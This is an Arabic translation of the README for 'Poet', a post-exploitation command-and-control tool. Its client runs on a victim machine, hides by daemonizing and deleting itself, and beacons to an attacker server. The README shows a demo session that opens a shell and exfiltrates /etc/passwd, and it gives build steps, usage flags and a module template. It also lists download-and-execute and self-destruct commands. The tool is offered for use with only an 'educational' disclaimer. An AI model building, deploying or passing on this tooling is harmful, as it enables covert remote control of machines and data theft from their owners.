
[غير مُدعَم] أداة ما بعد الاستغلال
أداة بسيطة لما بعد الاستغلال.
يعمل برنامج العميل على الجهاز المستهدف ويتم تكوينه بعنوان IP (الخادم) للاتصال به، وتردد للاتصال. إذا لم يكن الخادم قيد التشغيل عندما يحاول العميل الاتصال، ينتظر العميل بهدوء ويحاول مرة أخرى في الفترة التالية. أما إذا كان الخادم قيد التشغيل، فسيحصل المهاجم على شل تحكم للتحكم في العميل وتنفيذ إجراءات متنوعة على الهدف بما في ذلك:
هذه مجرد عينة صغيرة مما يمكن أن يفعله Poet.
السيناريو هو: تمكن المهاجم من الوصول إلى جهاز الضحية وقام بتحميل وتنفيذ العميل. الخادم ليس قيد التشغيل في هذه المرحلة، لكن لا بأس، فالعميل ينتظر بصبر. في النهاية، يكون المهاجم جاهزًا ويبدأ الخادم، أولاً يبدأ شل وينفذ uname -a، ثم يسرب /etc/passwd. ثم يخرج وينفصل عن العميل، الذي يستمر في العمل على الهدف منتظرًا الفرصة التالية للاتصال بالخادم. لاحقًا، يتصل مرة أخرى، ويدمر العميل ذاتيًا، ويزيل كل الآثار من الهدف.
جهاز الضحية (5.4.3.2):
$ ./poet-client 1.2.3.4 10 # poet-client daemonizes, so there's nothing to see
تحذير: بعد تشغيل هذا الأمر، ستحتاج إما إلى تشغيل
selfdestructمن الخادم، أو قتل عمليةpoet-clientلإيقاف العميل.
جهاز المهاجم (1.2.3.4):
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:58:42) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:58:42) Poet server started (port 443)
[+] (06/28/15 03:58:50) Connected By: ('127.0.0.1', 54494) -> VALID
[+] (06/28/15 03:58:50) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > help
Commands:
chint
dlexec
exec
exfil
exit
help
recon
selfdestruct
shell
posh > shell
posh > user@server $ uname -a
Linux lolServer 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed May 07 16:19:23 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
posh > user@server $ ^D
posh > exfil /etc/passwd
posh : exfil written to archive/20150628/exfil/passwd-201506285917.txt
posh > ^D
[+] (06/28/15 03:59:18) Exiting control shell
[-] (06/28/15 03:59:18) Poet server terminated
$ sudo ./poet-server
_
____ ____ ___ / /_
/ __ \/ __ \/ _ \/ __/
/ /_/ / /_/ / __/ /
/ .___/\____/\___/\__/
/_/
[+] (06/28/15 03:59:26) Dropping privileges to uid: 501, gid: 20
[+] (06/28/15 03:59:26) Poet server started (port 443)
[+] (06/28/15 03:59:28) Connected By: ('127.0.0.1', 54542) -> VALID
[+] (06/28/15 03:59:28) Entering control shell
Welcome to posh, the Poet Shell!
Running `help' will give you a list of supported commands.
posh > selfdestruct
[!] WARNING: You are about to permanently remove the client from the target.
You will immediately lose access to the target. Continue? (y/n) y
[+] (06/28/15 03:59:33) Exiting control shell
[-] (06/28/15 03:59:33) Poet server terminated
اذهب إلى صفحة الإصدارات وقم بتنزيل أحدث ملفات poet-client و poet-server المتاحة.
ثم انتقل إلى قسم الاستخدام أدناه.
بدلاً من ذلك، يمكنك بناء Poet بنفسك (الأمر سهل جدًا، انظر أدناه).
تأكد من توفر الملفات التنفيذية python2.7 و zip.
$ git clone https://github.com/mossberg/poet
$ cd poet
$ make
سيؤدي ذلك إلى إنشاء دليل bin/ يحتوي على poet-client و poet-server.
Poet سهل الاستخدام للغاية، ولا يتطلب أكثر من مكتبة Python القياسية (2.7). لاختباره بسهولة، قد يبدو الاستدعاء النموذجي كما يلي:
الطرفية 1:
$ ./poet-client 127.0.0.1 1 --debug --no-selfdestruct
افتراضيًا، يقوم عميل Poet بتحويل نفسه إلى خفي وحذف نفسه من القرص، لذلك يتم منع هذا السلوك باستخدام العلامات
--debugو--no-selfdestruct.
الطرفية 2:
$ sudo ./poet-server
افتراضيًا، يجب تشغيل الخادم كجذر (باستخدام
sudo) لأن المنفذ الافتراضي الذي يرتبط به هو 443. إذا كان ذلك يزعجك، ببساطة احذفsudoواستخدم العلامة-p <PORT>على كل من العميل والخادم. اختر رقم منفذ عالٍ (> 1024).
يحتوي ملف common/config.py على إعدادات تكوين اختيارية لبناءات Poet.
AUTH: رمز مصادقة سري مشترك بين العميل والخادم لمصادقة العميل. لاحظ أن الافتراضي هو أي شيء سري. لأي استخدام غير اختباري، يوصى بتغييره إلى قيمة أخرى غير قابلة للتخمين. لاحظ أن الحزم المبنية مسبقًا تستخدم رمز المصادقة العام الافتراضي.ARCHIVE_DIR: الدليل الذي يستخدمه الخادم لتخزين الملفات (مخرجات التنفيذ، التسريب، الاستطلاع، إلخ).SERVER_IP: عنوان IP الخاص بالخادم.BEACON_INTERVAL: الثواني بين إشارات العميل إلى الخادم.تسمح إعدادات SERVER_IP و BEACON_INTERVAL بتضمين المعلومات التي كانت مطلوبة سابقًا في وسائط سطر الأوامر في الملفات التنفيذية النهائية بحيث يمكن تشغيل الملف التنفيذي النهائي ببساطة بدون وسائط. القيم None لأي منهما تؤدي إلى العودة إلى السلوك الافتراضي (وسيطة سطر أوامر مطلوبة لـ SERVER_IP، وسيطة سطر أوامر اختيارية لـ BEACON_INTERVAL).
$ ./poet-client -h
usage: poet-client [-h] [-p PORT] [--debug] [--no-daemon] [--no-selfdestruct]
IP [INTERVAL]
positional arguments:
IP Poet Server
INTERVAL Beacon Interval, in seconds. Default: 600
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
--debug show debug messages. implies --no-daemon
--no-daemon don't daemonize
--no-selfdestruct don't selfdestruct
Poet هو تطبيق عميل/خادم. يتم تنفيذ العميل على الهدف ويقوم بالإشارة إلى الخادم بفاصل زمني معين. الوسيطة الوحيدة المطلوبة هي عنوان IP حيث يعمل الخادم أو سيعمل. يمكن أن يتبعها اختياريًا الفاصل الزمني بالثواني لعدد مرات الإشارة، والذي يكون افتراضيًا 10 دقائق. يمكن تحديد المنفذ الذي يخرج منه العميل باستخدام العلامة -p. لن يتم استخدام جميع العلامات الأخرى أثناء الاستخدام "الحقيقي" وهي موجودة أساسًا للتصحيح.
$ ./poet-server -h
usage: poet-server [-h] [-p PORT] [-v]
optional arguments:
-h, --help show this help message and exit
-p PORT, --port PORT
-v, --version prints the Poet version number and exits
يتم تنفيذ الخادم على جهاز المستخدم الخاص ويستمع لإشارات العميل. افتراضيًا، يستمع على منفذ متميز (443) ويجب تشغيله بصلاحيات (يتم إسقاطها بسرعة بعد الربط). يمكن استخدام العلامة -p لتجاوز ذلك عن طريق اختيار منفذ غير متميز للاستماع عليه (>1024).
Poet قابل للتوسعة بشكل كبير من خلال إطار الوحدات الخاص به، في الواقع، كل أمر تقريبًا متاح في شل posh يتم تنفيذه كوحدة. يمكن عرضها في دليل common/modules/. يعمل common/modules/template.py كمثال مبسط للوحدة، ليتم استخدامه كنقطة بداية. لإضافة وحدة Poet، ببساطة ضعها في دليل common/modules/ وأعد بناء Poet باستخدام make.
هذا مثال بسيط لوحدة يظهر التواصل الأساسي بين العميل والخادم. الوحدة تسجل أمر posh، وترسل سلسلة، يعكسها العميل ويرسلها مرة أخرى، ويطبعها الخادم.
# Note: this module doesn't check if an argv[1] was given
import module
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
تبدأ الوحدة بـ
import module
هذا مطلوب، وهو ضروري للتسجيل في إطار الوحدة.
القسم التالي هو مكون الوحدة من جانب الخادم.
@module.server_handler('reverse')
def server(server, argv):
print 'Sending: {}'.format(argv[1])
# argv here is ['reverse', ...]
response = server.conn.exchange(' '.join(argv))
print 'Received: {}'.format(response)
يتم استخدام decorator @module.server_handler() لتسجيل أمر posh عن طريق تمرير اسم الأمر كمعامل decorator وتعريف دالة معالج لتنفيذها عند تشغيل الأمر. يجب أن تقبل دالة المعالج معاملين. أحدهما هو مثيل PoetServer الذي استدعى الوحدة، والآخر هو سلسلة الأمر المدخلة، ممثلة كقائمة من الوسائط. مثيل الخادم موجود لتمكين الوحدة من استخدام دوال مساعدة للتواصل مع العميل، وكتابة الملفات إلى دليل الأرشيف، إلخ. تستخدم الوحدة server.conn.exchange() لإرسال سطر الأوامر المدخل كسلسلة إلى العميل والحصول على الاستجابة كقيمة إرجاع.
مكون الوحدة من جانب العميل هو التالي.
@module.client_handler('reverse')
def client(client, inp):
# inp here is 'reverse ...'
client.s.send(inp.split()[1][::-1])
يتم استخدام decorator @module.client_handler() لتسجيل مهمة للعميل للتفاعل معها ومعالجتها. نظرًا لأن العميل والخادم يتواصلان عن طريق تمرير سلاسل بينهما، فإن الجزء الأول من السلسلة هو الكلمة الأساسية لمهمة معينة. تقوم الوحدة بتسجيل دالة معالج عميل لتنفيذها عند وصول رسالة من الخادم تبدأ بـ 'reverse'. على غرار معالج الخادم، يجب أن يقبل معالج العميل معاملات لمثيل PoetClient الذي استدعاه، وسلسلة الإدخال المرسلة من الخادم. ثم يستخدم العميل دالة client.s.send() لإرسال البيانات مرة أخرى إلى الخادم، في هذه الحالة، الوسيطة الأولى، معكوسة.
عند التطبيق، يبدو هذا كالتالي
posh > reverse poet
Sending: poet
Received: teop
المخاوف الموثقة:
أنا أبني Poet لأغراض تعليمية وتجربة شخصية بحتة. الكود متاح بحرية لأنني أعتقد أنه قد يكون مفيدًا للآخرين المهتمين بتعلم هذا النوع من الأشياء. استخدمه بمسؤولية.